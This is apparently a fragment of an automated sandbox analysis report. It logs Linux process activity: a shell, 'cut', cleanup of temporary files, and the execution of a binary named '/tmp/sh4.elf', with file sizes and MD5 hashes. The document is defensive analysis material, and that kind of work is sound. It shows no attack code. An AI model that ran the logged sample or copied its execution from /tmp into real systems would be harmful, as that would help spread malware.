                                                  Start date (UTC):07/01/2025
                                                  Path:/usr/bin/dash
                                                  Arguments:-
                                                  File size:129816 bytes
                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):00:34:38
                                                  Start date (UTC):07/01/2025
                                                  Path:/usr/bin/cut
                                                  Arguments:cut -c -80
                                                  File size:47480 bytes
                                                  MD5 hash:d8ed0ea8f22c0de0f8692d4d9f1759d3

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):00:34:38
                                                  Start date (UTC):07/01/2025
                                                  Path:/usr/bin/dash
                                                  Arguments:-
                                                  File size:129816 bytes
                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):00:34:38
                                                  Start date (UTC):07/01/2025
                                                  Path:/usr/bin/rm
                                                  Arguments:rm -f /tmp/tmp.ZASB1Sckqe /tmp/tmp.qw4Q7je8c3 /tmp/tmp.DZkTwFGq7F
                                                  File size:72056 bytes
                                                  MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):00:34:42
                                                  Start date (UTC):07/01/2025
                                                  Path:/tmp/sh4.elf
                                                  Arguments:/tmp/sh4.elf
                                                  File size:4139976 bytes
                                                  MD5 hash:8943e5f8f8c280467b4472c15ae93ba9

                                                  Chronological Activities